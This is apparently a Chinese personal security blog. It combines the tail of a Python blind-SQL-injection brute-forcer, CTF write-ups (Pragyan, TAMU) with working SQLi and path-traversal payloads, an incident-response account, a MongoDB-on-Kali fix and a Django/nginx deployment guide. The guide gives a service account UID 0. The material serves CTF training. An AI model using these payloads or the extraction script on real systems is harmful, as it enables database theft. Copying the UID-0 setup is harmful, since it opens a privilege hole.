sqli = base64.b64encode(test2.encode('utf-8'))
sqli = str(sqli, encoding='utf-8')
params = {'spy_name': sqli}
html = requests.post(url, params)
r = html.text
if len(r) < judge:
print('======================')
print('[*]column: ', column)
colunms_name[column_num] = column
print('======================\n')
break

column = fuzz(sql, test, column_num, str_num, column)
print('[+]column: ', column)

print('******************')
for key in colunms_name:
print('[*]column' + str(key) + ': ' + colunms_name[key])
print('******************\n')


cl = int(input('>请选择需要爆破的字段(数字):'))
sql = "1' or (ascii(substr(( select " + colunms_name[cl] + " from " + tables_name[tb]+ " limit {0},1),{1},1)))>{2} -- +"
test = "1' or (ascii(substr(( select " + colunms_name[cl] + " from " + tables_name[tb]+ " limit {0},1),{1},1)))={2} -- +"
key = []
for num in range(1, 20):
sqli = sql.format(num - 1, 1, 1)
sqli = base64.b64encode(sqli.encode('utf-8'))
sqli = str(sqli, encoding='utf-8')
params = {'spy_name': sqli}
html = requests.post(url, params)
r = html.text
if len(r) < judge:
print('[*]已无其他值!')
break
print('[+]正在爆破第', str(num))
tmp_key = ''
for str_num in range(1, 50):
# 测试length(database()),一旦超过长度则不用再执行。
test2 = sql.format(num - 1, str_num, 1)
sqli = base64.b64encode(test2.encode('utf-8'))
sqli = str(sqli, encoding='utf-8')
params = {'spy_name': sqli}
html = requests.post(url, params)
r = html.text
if len(r) < judge:
print('======================')
print('[*]key: ', tmp_key)
key.append(tmp_key)
print('======================\n')
break

tmp_key = fuzz(sql, test, num, str_num, tmp_key)
print('[+]key: ', tmp_key)

print('******************')
for tt in key:
print('[*]key: ' + tt)
print('******************\n')

  上面的代码还可以优化,比如增加sqlmap中的–dump功能,将所有的表跟字段都爆破出来。

pragyan ctf writeup

前言

  这场CTF由于时间紧张,所以只做了web题,比赛中也只做出两题,其余两题为比赛结束后参考writeup进行复现并记录。

1、web1:Unfinished business




  自己做的时候没做出来,用的是burp suite抓包,但没看出什么东西,然后再看别人的writeup复现。
登陆的时候勾选admin,然后用owasp zap抓包看一下,也正是这个工具在这题中运用得比较好。很容易就看到了flag。




  所以flag:pctf{y0u=Sh0Uldn’1/h4v3*s33n,1his.:)}

2、web2:Authenticate your way to admin




  关键点在于它在还没验证账号是否正确的情况下将identifier存入$_SESSION[‘id’]。




  所以,第一次我们用正常的账号密码登陆以绕过homepage.php的登陆检验。




  然后第二次我们用admin登陆,这里虽然会返回错误,但在上面已经提到,它是在验证前就更新了$_SESSION[‘id’]。




  所以,再次刷新原来登陆后的页面时,你的$_SESSION[‘id’]就被替换成了admin。最终拿到flag。




  所以flag:pctf{4u1h3ntic4Ti0n.4nd~4u1horiz4ti0n_diff3r}

3、web3:El33t Articles Hub

  这道题比赛时也没解出来,现在拿着writeup复现一下。




  上来看到这个猜测十有八九就是文件包含,但将常见的文件包含跟绕过试了一遍都没有结果。所以这道题就进展不下去。

  看到writeup后才发现关键点不在这个url,在查看网页源代码的时候会发现两个带下划线的url,经自己不成熟总结,一般这样的链接都有猫腻。。。而且可以发现标题的图标也一直在变,仿佛在提醒你。。。




  做题的时候直接访问是一张正常的图片,但将id=x代入,并且查看源代码时,你就会发现hint。




  发现这又是一个文件包含,并且能包含php。所以查看index.php的代码。




  helpers.php的代码




  此时就能清晰的看到flag的位置,但因为id这里不能包含txt文件,所以只能回到file包含里。然后构造payload:
1
.....///secret/./flag_7258689d608c0e2e6a90c33c44409f9d




  故flag:pctf{1h3-v41id41i0n_SuCk3d~r34l-baD}

4、web4:Animal Spy Database

1
Poc:1' or 1=1 -- +(返回正确);1' or 1=2 -- +(返回错误)

  说明有注入,再进一步可以测出是盲注

  其实,你测到后面会发现,题干中已经给了你表名,字段了。




  当然,你也可以用
1
2
3
4
5
6
7
8
查询数据库长度:
1' or (length(database()))=12 -- +
数据库:
1' or (ascii(substr(database(),1,1)))>100 -- +
表名:
1' or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100 -- +
字段:
1' or (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))>100 -- +

  所以最终的Payload:

1
1' or (ascii(substr(( select username from users limit 0,1),1,1)))>68 -- +

  注入出username字段的值就是admin

  再将password注入出来,Payload:

1
1' or (ascii(substr(( select password from users limit 0,1),1,1)))>68 -- +

  所以最终flag:pctf{L31‘s~@Ll_h4il-1h3-c4T_Qu33n.?}

tamu ctf writeup

前言

  好像很久没更新blog了,昨天接到任务要做tamu的ctf,所以做完记录一下。

1、介绍题

  Flag很明显(gigem{Howdy!}),主要是熟悉flag形式。



2、杂项1




  将附件下载后使用binwalk分析文件,可以看到有隐藏文件,再使用foremost分离文件,解压后可以在document.xml里找到flag。这里另一种解题方法就是将这些附件还原成doc或docx。






  所以flag就是:Flag=ICanRead!(不要自己脑补格式…)

### 3、杂项2



  按要求登陆,登陆后。



  Tips: 使用ls –a,简单粗暴点。

### 4、web3



  看到robots就预感跟robots.txt有关,打开网页,google bot。。。









  Flag:gigem{craw1ing_bot$!}

### 5、web4






  注意标题“SQLi”,明显是一道sql注入题,sqlmap三连后可以得到账号密码。登陆后即可得到flag:gigem{ScRuB7h3InpU7}。





6、Scenario – MCCU:01_logs

  这道题连蒙带猜。。。一看题目,先fuzz一波。。




  得到:1:web;2:access.log…

  因为一般入侵都不太可能一次试探就成功,所以打算在error.log里找IP,这里看完后也就两个IP:172.16.20.134跟172.16.20.24。

得到:3:172.16.20.24。

  时间有点难找,所以我先跳过4,先做5。在access.log里把172.16.20.24所访问的页面全找出来,然后在/wp-content/plugins/wpshop/includes/ajax.php发现异常,提交后提示正确,所以时间也就是这次访问的时间。


  所以flag:

1
2
3
4
5
* 1:web;
* 2:access.log;
* 3:172.16.20.24;
* 4: Nov/08-20:32:49;
* 5:/wp-content/plugins/wpshop/includes/ajax.php。

  注意4的时间格式,这里我交完就忘了要不要将Nov转成11,,,,再次提交又不再验证,,,反正时间是这个。。。

  后来google了一下,发现是WordPress WPshop - 电子商务1.3.9.5,任意文件上传漏洞,这里mark一下。

Payload:

7、Scenario – MCCU:00_intrusion

  Fuzz即可。。。。



8、Scenario – ClandestineEnforced:01_Phishing

  题目的意思是找出钓鱼邮件,打开下面三个邮件,1,2很明显就是钓鱼邮件,所以flag:1,2,直接提交即可。



9、web1

  这道题为自己蠢哭。。。。都说reading了,,,就是脑子抽风了不知道咋整,还好解了其他题,脑子回来了。。。




  慢慢reading,,,终于在某一行找到了flag。。。。



  所以flag:gigem{F!nD_a_F!AG!}

### 10、web2






  打开burp suite,把两个按钮的包抓一下,



  把veggie base64解码一下,可以发现有东西。



  再看看第二个包,



  再把cookie的值base64解码一下。



  所以flag:gigem{CrAzzYY_4_CO0k!es}

### 11、Scenario – NotSoAwesomeInc:00_intrusion
  将附件下载后认真找就能找到答案。


记黑塔的一次应急响应

发现问题

  今天下午15时左右,跟往常一样登陆后台查看信息,在输入账号密码后居然发现提示账号密码不正确!第一次以为自己输入错误,但接连输入几次后发现都是错误,心里顿时毛骨悚然,mmp的,难道那么快就被hack掉了??赶紧远程服务器!!

处理过程

  在登陆服务器后第一件事就是history判断服务器是否被get shell,然而却发现并没有可疑的操作,当然也有可能被擦除掉,但我相信这个可能性比较低。由于不清楚危险等级,所以只能把web服务先关闭,换成正在升级的公告,这也是为了避免不必要的影响。

  关闭服务器后,马上查看运行日志,第一顺序就是判断后台是否沦陷,使用正则提取POST/GET到后台地址的记录,发现条数并不是很多,而且查看今天操作的时间也跟自己操作的时间重合,昨天只有三条记录,看着这心里顿时松了口气,由此可见后台地址的重要性,这也是用户数据的最后一颗稻草。

  然后查看一下日志的记录大小,没把我吓一跳,39W+的记录,我就是对黑塔项目再自信也不认为两三天内能产生那么多正常的访问记录。




  接着为了分析日志方便,我把几十兆的日志文件从服务器上拉了下来,欣慰的是下载速度能达到2M左右,所以也没耽误什么时间。用UE打开后,随便一拉就发现了某用户(这里之所以说某是因为后面通过日志发现了他)在激活页面疯狂提交重置admin密码的验证码,好家伙,足足爆破了3个小时左右,接近10W条记录。






  为了更清晰的还原他的操作,继续分析日志,此时重点就在爆破前和爆破后的日志记录了,先翻到爆破前,发现此用户尝试注册admin用户,但提示用户存在,注册失败!接着根据日志,他跑到了重置密码页面,一开始使用admin + 他的邮箱重置密码,但这肯定不行。这时,他灵光一闪【奸笑】,想到了他注册时给他发送邮件的邮箱,这也正是admin的邮箱!!然后,他再使用重置密码,但激活码发送到了admin的邮箱,这才出现了39W+的爆破记录,很明显,这将无疾而终。但他成功的把admin的账号给冻结了,导致一开始出现的admin用户无法登陆现象。

总结和修复方案

  可以看到,整件事的产生都是因为admin信息的泄漏,而admin及其邮箱都是本地开发时使用的调试信息,在上线前,作者对系统中用户可控的各个输入点都进行了严密的过滤,但却没能防止敏感信息泄漏。所以,在以后的开发中,一定要注意调试环境跟生产环境间敏感信息的保护,像拿到调试环境所泄漏的敏感信息从而攻克整个生产系统的案例并不少见,如默认用户、test用户等。

  修复方案:

  • 删除默认管理员账号,禁用诸如adminroot用户名作为管理员账号;
  • 对提交页面做次数限制,防止恶意爆破,就算不能爆破成功也要减少系统开销;

kali下安装mongodb遇到的问题及解决方案

  此文仅以记录Kali下安装mongodb遇到的缺少libssl.so.1.0.0问题的解决方案,如果你安装时出现如下报错信息,那么这篇文章会帮助你解决问题。

1
mongod: error while loading shared libssl.so.1.0.0: cannot open shared object file: No such file or directory

  这段话无非是告诉你缺少libssl.so.1.0.0库,一开始把整个报错信息复制到百度搜索,但没有找到有价值的信息。无奈只能自己想办法解决,而问题的根源就是缺少这个文件,那么我们将从网上下载回这个库文件,所以我将直接在Google上搜索libssl.so.1.0.0,出现的第一条就是我们要的信息。




  选择自己系统对应版本:


  按照页面所显示的添加它的更新源:



  这里直接放出它的源:

1
deb http://security.debian.org/debian-security wheezy/updates main

  然后执行:

1
2
apt update
apt-get install libssl1.0.0 libssl-dev

  如上,即可解决问题。

部署Django项目

前言

  月初一直在忙于期末复习准备考试,导致博客处于断更状态,考完试后就忙于为“黑塔”项目增加爬虫,并将项目正式部署该项目。现在已经完成了初步的部署,所以是时候更新博客和记录部署时遇到的一些问题。其实,开个博客也是能很好的鞭策自己去学习东西,就是为了博客不处于断更状态。

目录

部署概述

  在本文中采用nginx + uwsgi的部署方案,这也是目前较为受欢迎的方案。先放一张整个系统的架构图:



  在这个方案中,nginx主要处理静态页面,而uwsgi处理动态页面,整个系统对外体现为nginx,当nginx发现请求的是动态页面时会将请求发送给uwsgi处理,这两者之间的通信桥梁可以是端口或者sock的形式,本文采用sock文件的形式,听说这种方式比端口通信更加有效。

收集项目中的静态文件

  很多博客里都把这一步放到最后,但这给刚学部署的人很不好的体验,使人对整个部署过程很模糊,所以我这里先收集项目中的静态文件。说明:静态文件的位置没有要求,收集静态文件的目的是让nginx更好的处理它,如果直接使用APP里的静态文件会导致后台Admin的css、js等无法加载,所以我们需要先收集静态文件。

  在项目的setting.py中添加静态文件存放的目录,添加内容如下:

1
2
3
STATIC_URL = '/static/'
# STATIC_ROOT就是静态文件的路径,可以自由设置,下面配置uwsgi、nginx需要使用到这个路径
STATIC_ROOT = '/root/django/static/'

  在manage.py的目录下运行python manage.py collectstatic收集静态文件。

安装及配置uwsgi

  在django的python环境中执行:pip install uwsgi即可。

  配置uwsgi,本文采用.ini的文件形式配置。新建一个新的文件夹,可以在任意位置。如本文中在与django项目同级的目录下新建一个名为:uwsgi的文件夹,名字可以任意取。




  其中web是项目文件夹,uwsgi文件夹用来存放uwsgi的配置文件和日志等。

  在uwsgi中新建一个uwsgi.ini的文件,具体内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# uwsig使用配置文件启动
[uwsgi]
# 项目根目录,并非是app目录
chdir=/root/django/web/
# wsgi.py的路径,first是wsgi.py存在的目录名
module=first.wsgi:application
# 指定sock的文件路径,用来与nginx通信
socket=/root/django/uwsgi/uwsgi.sock
# 进程个数
workers=4
pidfile=/root/django/uwsgi/uwsgi.pid
# 指定IP端口,这里可以用来测试uwsgi与django项目之间是否准确连接。调试好后可以注释掉
# 如果开启了可以不用开启nginx服务而直接通过 ip:8080访问网页。
# http=192.168.2.108:8080

# 这里使用上面收集的静态文件夹目录
static-map=/static=/root/django/static
# 启动uwsgi的用户名和用户组
uid=junay
gid=root
# 启用主进程
master=true
# 自动移除unix Socket和pid文件当服务停止的时候
vacuum=true
# 序列化接受的内容,如果可能的话
thunder-lock=true
# 启用线程
enable-threads=true
# 设置自中断时间
harakiri=30
# 设置缓冲
post-buffering=4096
# 设置日志目录
daemonize=/root/django/uwsgi/uwsgi.log

  上面配置文件的每一条都有详细的说明,请大家仔细阅读。这里需要注意的是,我为这个项目专门添加了一个junay的用户,并且将它添加到root用户组。后面我还是使用这个用户开启nginx服务。我们需要特别注意用户权限的问题,这个问题也困扰了我两天。

安装及配置nginx

  nginx直接使用apt安装即可。安装完成后我们在/etc/nginx/conf.d/目录下为nginx与uwsgi通信建立配置文件。文件名可以任意,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
server { 
# nginx服务开启的端口
listen 80;
# 如果有域名则写上域名,否则使用IP地址
server_name www.secsearch.top;
# Nginx日志配置
access_log /var/log/nginx/access.log;
charset utf-8; # Nginx编码
gzip_types text/plain application/x-javascript text/css text/javascript application/x-httpd-php application/json text/json image/jpeg image/gif image/png application/octet-stream; # 支持压缩的类型

error_page 404 /404.html; # 错误页面
error_page 500 502 503 504 /50x.html; # 错误页面

# 指定项目路径uwsgi
location / {
# uwsgi_params在nginx文件夹下
include /etc/nginx/uwsgi_params;
# 设置连接uWSGI超时时间
uwsgi_connect_timeout 30;
# nginx与uwsgi的通信方式,动态请求会通过sock传递给uwsgi处理
uwsgi_pass unix:/root/django/uwsgi/uwsgi.sock;
}

# 这里使用上面收集的静态文件夹目录
location /static/ {
alias /root/django/static/;
index index.html index.htm;
}
}

启动服务

  接下来我们启动uwsgi,进入刚才新建的uwsgi文件夹,通过配置文件启动uwsgi:

1
uwsgi --ini uwsgi.ini

  执行后会在该文件夹下生成uwsgi.log用来记录uwsgi日志,我们可以先查看一下该文件,以保证我们的uwsgi服务是正常的。

  然后我们启动nginx:

1
service nginx start

  现在通过域名(如果你上面配置的是域名,否则使用IP)访问网站,看是否正常运行。如果你能成功运行那么恭喜你,你可以不用往下看了,如果你出现了一些错误,那么可以借鉴我的解决思路。再附上关闭uwsgi服务和nginx的命令:

1
2
killall -9 uwsgi
service nginx stop

部署中遇到的问题及解决方案

  这里我访问网站后发现是502错误,这也是我遇到的一个大坑,很多博客都没有解释和解决掉这个问题。

  出现502后查看日志文件:cat /var/log/nginx/access.log,发现是权限问题,原来nginx默认是www-data用户运行,但该用户没有权限访问root下的目录文件,所以导致服务器出现错误。所以我们需要以root身份运行,但root实在是太敏感,所以上面专门添加的用户junay就起作用了。

  首先我们修改junay的权限,通过:vim /etc/passwd,将juany修改成如下:

1
junay:x:0:0:,,,:/home/junay:/usr/bin/git-shell

  这里我们将junay的默认shell设成git-shell,防止该用户登陆bash,其次,我们再修改/etc/ssh/sshd_config,在该文件中添加如下两行,禁止junay使用ssh。

1
2
AllowUsers root
DenyUsers junay

  最后我们修改nginx的默认用户,改配置文件为/etc/nginx/nginx.conf,将它的user一行改为:




  修改完成后,我们重新启动nginx,使用:service nginx restart,现在我们就成功的完成了django的部署。如果你还是出现了问题,那么请仔细查看uwsgi和nginx的日志文件

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×